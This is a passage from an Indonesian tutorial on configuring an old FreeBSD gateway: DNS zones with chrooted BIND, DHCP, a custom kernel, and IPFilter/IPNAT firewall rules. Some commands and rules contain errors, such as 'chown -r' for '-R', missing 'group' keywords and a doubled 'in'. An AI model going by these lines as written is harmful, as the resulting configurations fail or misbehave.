   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
